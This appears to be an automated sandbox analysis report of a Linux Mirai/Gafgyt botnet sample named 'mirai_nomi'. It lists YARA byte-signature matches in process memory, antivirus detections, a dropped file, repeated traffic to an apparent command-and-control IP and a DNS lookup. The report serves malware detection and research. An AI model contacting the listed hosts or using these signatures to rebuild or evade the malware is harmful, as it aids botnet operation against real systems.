5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5104.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
4734.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
4734.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
4700.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
4700.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
5060.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5060.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
4737.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
4737.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
4733.1.0000000000400000.0000000000488000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x733a8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x6dcaa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6dd0e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x6e005:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x76f22:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x737f9:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x73aef:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
4733.1.0000000000400000.0000000000488000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0xb702:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
Process Memory Space: mirai_nomi PID: 4700	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: mirai_nomi PID: 4733	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: mirai_nomi PID: 4811	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Click to see the 54 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mirai_nomi

Avira: detected

Antivirus detection for dropped file

Source: /var/tmp/nginx_kel

Avira: detection malicious, Label: LINUX/Mirai.jwszm

Multi AV Scanner detection for submitted file

Source: mirai_nomi	ReversingLabs: Detection: 75%
Source: mirai_nomi	Virustotal: Detection: 54%			Perma Link

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 89.31.127.144 ports 17560,0,1,2,24150,4,5

Source: global traffic

TCP traffic: 192.168.2.20:59072 -> 89.31.127.144:24150

Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 89.31.127.144
Source: unknown	UDP traffic detected without corresponding DNS query: 129.6.15.28
Source: unknown	UDP traffic detected without corresponding DNS query: 129.6.15.28

Source: global traffic

DNS traffic detected: DNS query: 30bc746e3c.dontargetme.nl

System Summary

Malicious sample detected (through community Yara rule)

Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
